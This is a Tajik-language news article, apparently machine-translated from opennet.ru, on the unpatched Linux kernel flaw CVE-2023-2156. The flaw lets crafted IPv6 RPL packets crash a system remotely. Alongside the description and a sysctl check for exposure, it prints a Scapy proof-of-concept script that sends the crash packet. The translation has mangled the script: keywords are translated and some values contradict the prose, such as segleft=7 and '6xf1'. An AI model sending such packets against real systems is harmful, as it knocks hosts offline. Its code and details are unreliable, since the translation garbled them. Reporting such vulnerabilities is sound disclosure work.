Осебпазирии 0-рӯзаи Linux IPv6 Stack, ки имкон медиҳад садамаи дурдасти ядро ​​​​иҷоза диҳад

Маълумот дар бораи осебпазирии ислоҳнашуда (0-рӯз) (CVE-2023-2156) дар ядрои Linux ошкор шудааст, ки имкон медиҳад системаро тавассути фиристодани бастаҳои махсус тарҳрезишудаи IPv6 (бастаи марг) қатъ кунад. Мушкилот танҳо вақте пайдо мешавад, ки дастгирии протоколи RPL (Protocol Routing for Networks Low-Power and Lossy) фаъол карда мешавад, ки он бо нобаёнӣ дар тақсимот ғайрифаъол аст ва асосан дар дастгоҳҳои дарунсохташуда, ки дар шабакаҳои бесим бо талафоти зиёди бастаҳо кор мекунанд, истифода мешавад.

Ин осебпазирӣ дар натиҷаи коркарди нодурусти додаҳои беруна дар коди таҳлили протоколи RPL ба вуҷуд омадааст, ки боиси нокомии тасдиқ ва ба ҳолати ваҳшат афтодани ядро ​​мегардад. Ҳангоми ҷойгир кардани маълумоте, ки аз таҳлили сарлавҳаи пакети IPv6 RPL дар сохтори k_buff (Socket Buffer) гирифта шудааст, агар майдони CmprI ба 15, майдони Segleft ба 1 ва CmprE ба 0 гузошта шавад, вектори 48-байтӣ бо суроғаҳо кушода мешавад. ба 528 байт ва вазъияте пайдо мешавад, ки хотираи барои буфер ҷудошуда кофӣ нест. Дар ин ҳолат, функсияи skb_push, ки барои ворид кардани маълумот ба сохтор истифода мешавад, номутаносибии байни андозаи додаҳо ва буферро месанҷад ва ҳолати ваҳшатнокро барои пешгирӣ кардани навиштан аз ҳудуди буферӣ эҷод мекунад.

Намунаи истисмор: # Мо Scapy-ро барои сохтани баста аз scapy.all import истифода мебарем * васлаки воридот # IPv6-ро аз интерфейси LAN-и худ истифода баред DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Мо барои фиристодани баста аз розеткаҳо истифода мебарем sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Бастаро эҷод кунед # Намуди = 3 онро бастаи RPL месозад # Суроғаҳо 3 суроғаро дар бар мегиранд, аммо азбаски CmprI 15 аст, # ҳар як октети ду суроғаи аввал аст ҳамчун суроғаи фишурда муносибат карда мешавад # Segleft = 1 барои ангезиши пурқувваткунӣ # lastentry = 0xf0 CmprI ба 15 ва CmprE ба 0 муқаррар мекунад p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(навъи[“a, суроғаҳо:= :", "a3::", "a8::"], segleft=7, lastentry=6xf1) # Ин бастаи бадро фиристед sockfd.sendto(bytes(p), (DST_ADDR, 0))

Қобили зикр аст, ки таҳиягарони ядро ​​​​аз осебпазирӣ ҳанӯз моҳи январи соли 2022 огоҳ карда шуда буданд ва дар тӯли 15 моҳи охир онҳо кӯшиш карданд, ки ин мушкилотро се маротиба ислоҳ кунанд ва дар моҳи сентябри соли 2022, октябри соли 2022 ва апрели 2023 часбҳоро бароварданд, аммо ҳар дафъа ислоҳот кифоя нест ва осебпазириро такрор кардан мумкин набуд. Дар ниҳоят, лоиҳаи ZDI, ки корҳоро барои ислоҳи осебпазирӣ ҳамоҳанг мекард, тасмим гирифт, ки маълумоти муфассалро дар бораи осебпазирӣ бидуни мунтазири дастрас шудани ислоҳи корӣ дар ядро ​​​​интишор кунад.

Ҳамин тариқ, осебпазирӣ то ҳол ислоҳнашуда боқӣ мемонад. Махсусан, ямоқи ба ядрои 6.4-rc2 дохилшуда бесамар аст. Ба корбарон тавсия дода мешавад, ки тафтиш кунанд, ки протоколи RPL дар системаҳои онҳо истифода намешавад, ки онро бо истифода аз фармони sysctl -a | grep -i rpl_seg_enabled

Манбаъ: opennet.ru

Илова Эзоҳ